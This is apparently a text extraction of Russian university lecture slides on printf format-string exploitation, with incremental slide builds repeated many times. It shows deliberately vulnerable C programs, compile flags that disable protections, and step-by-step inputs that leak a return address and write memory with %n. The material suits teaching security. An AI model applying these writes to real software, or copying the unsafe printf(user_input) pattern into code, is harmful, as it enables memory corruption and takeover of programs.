Скачиваний:
11
Добавлен:
27.03.2022
Размер:
414.93 Кб
Скачать

Переполнение буфера в .bss

Переполнение буфера в куче

 

fmt_string.c

1

# include < stdio .h >

2

# include < string .h >

3

# include < stdlib .h >

4 void foo ( const

char *v)

5

{

 

6

const size_t l = strlen (v );

7

printf ("* &l: %lX , l: %zu\n",

8

&l, l);

 

9 p r i n t f ( v ) ;

10printf ("^ &l: %lX , l: %zu\n",

11&l, l);

12}

13 int

main (int

argc , char * argv [])

14 {

 

 

15 if

( argc !=

2) exit (1);

16foo( argv [1]);

17return 0;

18}

Компиляция: gcc -g -m32 --static \

-fno-stack-protector -z execstack \ fmt_string.c -o fmt_string

printf

Эксплойт форматной строки

./fmt_string aaa

* &l: FFFFD6BC, l: 3 aaa^ &l: FFFFD6BC, l: 3

./fmt_string %lX (èëè %1\$lX)

* &l: FFFFD6BC, l: 3 (5) FFFFD6BC &l: FFFFD6BC, l: 3 (5)

objdump -d -M intel fmt_string | grep -A 1

'call.*foo' | tail -1 ( адрес )

возврата

8048ec6: 83 c4 10 add esp,0x10

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

18/26

Переполнение буфера в .bss

Переполнение буфера в куче

 

fmt_string.c

1

# include < stdio .h >

2

# include < string .h >

3

# include < stdlib .h >

4 void foo ( const

char *v)

5

{

 

6

const size_t l = strlen (v );

7

printf ("* &l: %lX , l: %zu\n",

8

&l, l);

 

9 p r i n t f ( v ) ;

10printf ("^ &l: %lX , l: %zu\n",

11&l, l);

12}

13 int

main (int

argc , char * argv [])

14 {

 

 

15 if

( argc !=

2) exit (1);

16foo( argv [1]);

17return 0;

18}

Компиляция: gcc -g -m32 --static \

-fno-stack-protector -z execstack \ fmt_string.c -o fmt_string

printf

Эксплойт форматной строки

./fmt_string aaa

* &l: FFFFD6BC, l: 3 aaa^ &l: FFFFD6BC, l: 3

./fmt_string %lX (èëè %1\$lX)

* &l: FFFFD6BC, l: 3 (5) FFFFD6BC &l: FFFFD6BC, l: 3 (5)

objdump -d -M intel fmt_string | grep -A 1

'call.*foo' | tail -1 ( адрес )

возврата

8048ec6: 83 c4 10 add esp,0x10

./fmt_string %11\$lX

* &l: FFFFD6CC, l: 6 8048EC6 &l: FFFFD6CC, l: 6

здесь 8048EC6 - адрес возврата

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

18/26

Переполнение буфера в .bss

Переполнение буфера в куче

 

fmt_string.c

1

# include < stdio .h >

2

# include < string .h >

3

# include < stdlib .h >

4 void foo ( const

char *v)

5

{

 

6

const size_t l = strlen (v );

7

printf ("* &l: %lX , l: %zu\n",

8

&l, l);

 

9 p r i n t f ( v ) ;

10printf ("^ &l: %lX , l: %zu\n",

11&l, l);

12}

13 int

main (int

argc , char * argv [])

14 {

 

 

15 if

( argc !=

2) exit (1);

16foo( argv [1]);

17return 0;

18}

Компиляция: gcc -g -m32 --static \

-fno-stack-protector -z execstack \ fmt_string.c -o fmt_string

printf

Эксплойт форматной строки

./fmt_string aaa

* &l: FFFFD6BC, l: 3 aaa^ &l: FFFFD6BC, l: 3

./fmt_string %lX (èëè %1\$lX)

* &l: FFFFD6BC, l: 3 (5) FFFFD6BC &l: FFFFD6BC, l: 3 (5)

objdump -d -M intel fmt_string | grep -A 1

'call.*foo' | tail -1 ( адрес )

возврата

8048ec6: 83 c4 10 add esp,0x10

./fmt_string %11\$lX

* &l: FFFFD6CC, l: 6 8048EC6 &l: FFFFD6CC, l: 6

здесь 8048EC6 - адрес возврата

./fmt_string aaa%1\$n

* &l: FFFFD6CC, l: 7 aaa &l: FFFFD6CC, l: 3

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

18/26

Переполнение буфера в .bss

Переполнение буфера в куче

 

fmt_string.c

1

# include < stdio .h >

2

# include < string .h >

3

# include < stdlib .h >

4 void foo ( const

char *v)

5

{

 

6

const size_t l = strlen (v );

7

printf ("* &l: %lX , l: %zu\n",

8

&l, l);

 

9 p r i n t f ( v ) ;

10printf ("^ &l: %lX , l: %zu\n",

11&l, l);

12}

13 int

main (int

argc , char * argv [])

14 {

 

 

15 if

( argc !=

2) exit (1);

16foo( argv [1]);

17return 0;

18}

Компиляция: gcc -g -m32 --static \

-fno-stack-protector -z execstack \ fmt_string.c -o fmt_string

printf

Эксплойт форматной строки

./fmt_string aaa

* &l: FFFFD6BC, l: 3 aaa^ &l: FFFFD6BC, l: 3

./fmt_string %lX (èëè %1\$lX)

* &l: FFFFD6BC, l: 3 (5) FFFFD6BC &l: FFFFD6BC, l: 3 (5)

objdump -d -M intel fmt_string | grep -A 1

'call.*foo' | tail -1 ( адрес )

возврата

8048ec6: 83 c4 10 add esp,0x10

./fmt_string %11\$lX

* &l: FFFFD6CC, l: 6 8048EC6 &l: FFFFD6CC, l: 6

здесь 8048EC6 - адрес возврата

./fmt_string aaa%1\$n

* &l: FFFFD6CC, l: 7 aaa &l: FFFFD6CC, l: 3

./fmt_string %.15lX%1\$n

* &l: FFFFD6CC, l: 10

0000000FFFFD6CC &l: FFFFD6CC, l: 15

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

18/26

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

 

 

 

 

vuln_fmt.c (уязвимая программа)

1

# include < stdio .h >

2

# include < string .h >

3

# include < stdlib .h >

4 void foo ( const char *v)

5

{

6

size_t l = 1;

7

char buf [100];

8

printf ("* &l: %lX , l: %zu\n",

9&l, l);

10snprintf (buf , sizeof (buf), v);

11printf ("^ &l: %lX , l: %zu\n",

12&l, l);

13printf ("buf: %s\n", buf );

14}

15 int

main (int

argc , char * argv [])

16 {

 

 

17 if

( argc !=

2) exit (1);

18foo( argv [1]);

19return 0;

20}

Компиляция: gcc -g -m32 --static \

-fno-stack-protector -z execstack \ vuln_fmt.c -o vuln_fmt

./vuln_fmt aaa

* &l: FFFFD6BC, l: 1 ^ &l: FFFFD6BC, l: 1 buf: aaa

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

19/26

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

 

 

 

 

vuln_fmt.c (уязвимая программа)

1

# include < stdio .h >

2

# include < string .h >

3

# include < stdlib .h >

4 void foo ( const char *v)

5

{

6

size_t l = 1;

7

char buf [100];

8

printf ("* &l: %lX , l: %zu\n",

9&l, l);

10snprintf (buf , sizeof (buf), v);

11printf ("^ &l: %lX , l: %zu\n",

12&l, l);

13printf ("buf: %s\n", buf );

14}

15 int

main (int

argc , char * argv [])

16 {

 

 

17 if

( argc !=

2) exit (1);

18foo( argv [1]);

19return 0;

20}

Компиляция: gcc -g -m32 --static \

-fno-stack-protector -z execstack \ vuln_fmt.c -o vuln_fmt

./vuln_fmt aaa

* &l: FFFFD6BC, l: 1 ^ &l: FFFFD6BC, l: 1 buf: aaa

./vuln_fmt $(python -c 'print

"a"*100')

* &l: FFFFD65C, l: 1&l: FFFFD65C, l: 1 buf: aaa...a (99 ðàç)

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

19/26

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

 

 

 

 

vuln_fmt.c (уязвимая программа)

1

# include < stdio .h >

2

# include < string .h >

3

# include < stdlib .h >

4 void foo ( const char *v)

5

{

6

size_t l = 1;

7

char buf [100];

8

printf ("* &l: %lX , l: %zu\n",

9&l, l);

10snprintf (buf , sizeof (buf), v);

11printf ("^ &l: %lX , l: %zu\n",

12&l, l);

13printf ("buf: %s\n", buf );

14}

15 int

main (int

argc , char * argv [])

16 {

 

 

17 if

( argc !=

2) exit (1);

18foo( argv [1]);

19return 0;

20}

Компиляция: gcc -g -m32 --static \

-fno-stack-protector -z execstack \ vuln_fmt.c -o vuln_fmt

./vuln_fmt aaa

* &l: FFFFD6BC, l: 1 ^ &l: FFFFD6BC, l: 1 buf: aaa

./vuln_fmt $(python -c 'print

"a"*100')

* &l: FFFFD65C, l: 1&l: FFFFD65C, l: 1 buf: aaa...a (99 ðàç)

./vuln_fmt $(echo -e "\xbc\xd6\xff\xff")%.96x%1\$n

* &l: FFFFD6BC, l: 1 Segmentation fault

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

19/26

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

 

 

 

 

vuln_fmt.c (уязвимая программа)

1

# include < stdio .h >

2

# include < string .h >

3

# include < stdlib .h >

4 void foo ( const char *v)

5

{

6

size_t l = 1;

7

char buf [100];

8

printf ("* &l: %lX , l: %zu\n",

9&l, l);

10snprintf (buf , sizeof (buf), v);

11printf ("^ &l: %lX , l: %zu\n",

12&l, l);

13printf ("buf: %s\n", buf );

14}

15 int

main (int

argc , char * argv [])

16 {

 

 

17 if

( argc !=

2) exit (1);

18foo( argv [1]);

19return 0;

20}

Компиляция: gcc -g -m32 --static \

-fno-stack-protector -z execstack \ vuln_fmt.c -o vuln_fmt

./vuln_fmt aaa

* &l: FFFFD6BC, l: 1 ^ &l: FFFFD6BC, l: 1 buf: aaa

./vuln_fmt $(python -c 'print

"a"*100')

* &l: FFFFD65C, l: 1&l: FFFFD65C, l: 1 buf: aaa...a (99 ðàç)

./vuln_fmt $(echo -e "\xbc\xd6\xff\xff")%.96x%1\$n

* &l: FFFFD6BC, l: 1 Segmentation fault

./vuln_fmt $(echo -e "\xbc\xd6\xff\xff")%.96x%2\$n

* &l: FFFFD6BC, l: 1&l: FFFFD6BC, l: 1 buf: ????00...00d

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

19/26

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

 

 

 

 

vuln_fmt.c (уязвимая программа)

1

# include < stdio .h >

2

# include < string .h >

3

# include < stdlib .h >

4 void foo ( const char *v)

5

{

6

size_t l = 1;

7

char buf [100];

8

printf ("* &l: %lX , l: %zu\n",

9&l, l);

10snprintf (buf , sizeof (buf), v);

11printf ("^ &l: %lX , l: %zu\n",

12&l, l);

13printf ("buf: %s\n", buf );

14}

15 int

main (int

argc , char * argv [])

16 {

 

 

17 if

( argc !=

2) exit (1);

18foo( argv [1]);

19return 0;

20}

Компиляция: gcc -g -m32 --static \

-fno-stack-protector -z execstack \ vuln_fmt.c -o vuln_fmt

./vuln_fmt aaa

* &l: FFFFD6BC, l: 1 ^ &l: FFFFD6BC, l: 1 buf: aaa

./vuln_fmt $(python -c 'print

"a"*100')

* &l: FFFFD65C, l: 1&l: FFFFD65C, l: 1 buf: aaa...a (99 ðàç)

./vuln_fmt $(echo -e "\xbc\xd6\xff\xff")%.96x%1\$n

* &l: FFFFD6BC, l: 1 Segmentation fault

./vuln_fmt $(echo -e "\xbc\xd6\xff\xff")%.96x%2\$n

* &l: FFFFD6BC, l: 1&l: FFFFD6BC, l: 1 buf: ????00...00d

./vuln_fmt $(echo -e "\xbc\xd6\xff\xff")%.96x%3\$n

* &l: FFFFD6BC, l: 1 Segmentation fault

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

19/26

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

 

 

 

 

vuln_fmt.c (уязвимая программа)

1

# include < stdio .h >

2

# include < string .h >

3

# include < stdlib .h >

4 void foo ( const char *v)

5

{

6

size_t l = 1;

7

char buf [100];

8

printf ("* &l: %lX , l: %zu\n",

9&l, l);

10snprintf (buf , sizeof (buf), v);

11printf ("^ &l: %lX , l: %zu\n",

12&l, l);

13printf ("buf: %s\n", buf );

14}

15 int

main (int

argc , char * argv [])

16 {

 

 

17 if

( argc !=

2) exit (1);

18foo( argv [1]);

19return 0;

20}

Компиляция: gcc -g -m32 --static \

-fno-stack-protector -z execstack \ vuln_fmt.c -o vuln_fmt

./vuln_fmt aaa

* &l: FFFFD6BC, l: 1 ^ &l: FFFFD6BC, l: 1 buf: aaa

./vuln_fmt $(python -c 'print

"a"*100')

* &l: FFFFD65C, l: 1&l: FFFFD65C, l: 1 buf: aaa...a (99 ðàç)

./vuln_fmt $(echo -e "\xbc\xd6\xff\xff")%.96x%1\$n

* &l: FFFFD6BC, l: 1 Segmentation fault

./vuln_fmt $(echo -e "\xbc\xd6\xff\xff")%.96x%2\$n

* &l: FFFFD6BC, l: 1&l: FFFFD6BC, l: 1 buf: ????00...00d

./vuln_fmt $(echo -e "\xbc\xd6\xff\xff")%.96x%3\$n

* &l: FFFFD6BC, l: 1 Segmentation fault

./vuln_fmt $(echo -e "\xbc\xd6\xff\xff")%.96x%4\$n

* &l: FFFFD6BC, l: 1

&l: FFFFD6BC, l: 100 buf: ????00...00f0b2f

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

19/26

Соседние файлы в предмете Эксплуатация уязвимостей программного обеспечения